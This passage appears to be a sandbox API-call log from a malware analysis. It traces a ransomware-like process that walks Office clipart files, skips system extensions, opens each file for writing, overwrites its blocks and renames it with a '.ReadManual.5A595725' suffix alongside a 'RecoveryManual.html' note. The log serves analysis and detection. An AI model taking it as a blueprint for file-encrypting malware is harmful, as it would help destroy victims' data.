(hMem=0x76c1a55b) returned 0x76c1a55b [0260.662] CloseHandle (hObject=0x194) returned 1 [0260.662] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0260.662] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00098_.WMF" | out: lpString1="BL00098_.WMF") returned="BL00098_.WMF" [0260.662] lstrcmpiW (lpString1="BL00098_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.662] StrStrIW (lpFirst="BL00098_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.663] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.663] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.663] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" [0260.663] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.ReadManual.5A595725" [0260.663] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.ReadManual.5A595725") returned 87 [0260.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38133176935) returned 1 [0260.663] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0260.663] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.663] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1012) returned 1 [0260.663] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f4, lpName=0x0) returned 0x184 [0260.663] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.664] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.665] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.666] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f4) returned 0x2f0000 [0260.666] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.666] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38133459352) returned 1 [0260.666] CloseHandle (hObject=0x184) returned 1 [0260.666] SetSecurityInfo () returned 0x57 [0260.667] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.667] CloseHandle (hObject=0x194) returned 1 [0260.669] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0260.669] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00105_.WMF" | out: lpString1="BL00105_.WMF") returned="BL00105_.WMF" [0260.669] lstrcmpiW (lpString1="BL00105_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.669] StrStrIW (lpFirst="BL00105_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.669] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.669] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.669] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" [0260.669] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.ReadManual.5A595725" [0260.669] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.ReadManual.5A595725") returned 87 [0260.669] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38133795263) returned 1 [0260.669] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0260.670] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.670] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=880) returned 1 [0260.670] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x184 [0260.670] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.671] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.671] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.672] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.673] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x2f0000 [0260.673] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.673] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38134159557) returned 1 [0260.673] CloseHandle (hObject=0x184) returned 1 [0260.673] SetSecurityInfo () returned 0x57 [0260.673] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.673] CloseHandle (hObject=0x194) returned 1 [0260.674] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0260.674] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00122_.WMF" | out: lpString1="BL00122_.WMF") returned="BL00122_.WMF" [0260.674] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.674] StrStrIW (lpFirst="BL00122_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.674] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.674] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.674] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" [0260.674] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.ReadManual.5A595725" [0260.674] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.ReadManual.5A595725") returned 87 [0260.674] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38134301675) returned 1 [0260.674] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0260.674] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.675] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10146) returned 1 [0260.675] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27a2, lpName=0x0) returned 0x184 [0260.675] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.675] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.675] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.677] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.677] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27a2) returned 0x2f0000 [0260.677] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38134593302) returned 1 [0260.677] CloseHandle (hObject=0x184) returned 1 [0260.677] SetSecurityInfo () returned 0x57 [0260.677] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.677] CloseHandle (hObject=0x194) returned 1 [0260.678] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0260.678] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00130_.WMF" | out: lpString1="BL00130_.WMF") returned="BL00130_.WMF" [0260.678] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.678] StrStrIW (lpFirst="BL00130_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.678] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.678] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.679] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" [0260.679] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.ReadManual.5A595725" [0260.679] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.ReadManual.5A595725") returned 87 [0260.679] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38134737872) returned 1 [0260.679] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0260.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.679] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1464) returned 1 [0260.679] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b8, lpName=0x0) returned 0x184 [0260.679] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.680] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.680] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.681] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.681] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b8) returned 0x2f0000 [0260.682] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.682] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38135050085) returned 1 [0260.682] CloseHandle (hObject=0x184) returned 1 [0260.682] SetSecurityInfo () returned 0x57 [0260.682] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.682] CloseHandle (hObject=0x194) returned 1 [0260.683] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0260.683] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00148_.WMF" | out: lpString1="BL00148_.WMF") returned="BL00148_.WMF" [0260.683] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.683] StrStrIW (lpFirst="BL00148_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.683] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.683] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.683] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" [0260.683] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.ReadManual.5A595725" [0260.683] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.ReadManual.5A595725") returned 87 [0260.683] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38135193328) returned 1 [0260.683] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0260.683] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.684] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1696) returned 1 [0260.684] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x184 [0260.684] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.684] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.684] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.686] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.686] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x2f0000 [0260.686] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.686] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38135690105) returned 1 [0260.688] CloseHandle (hObject=0x184) returned 1 [0260.688] SetSecurityInfo () returned 0x57 [0260.688] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.688] CloseHandle (hObject=0x194) returned 1 [0260.689] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0260.689] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00152_.WMF" | out: lpString1="BL00152_.WMF") returned="BL00152_.WMF" [0260.689] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.689] StrStrIW (lpFirst="BL00152_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.689] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.689] StrCmpIW 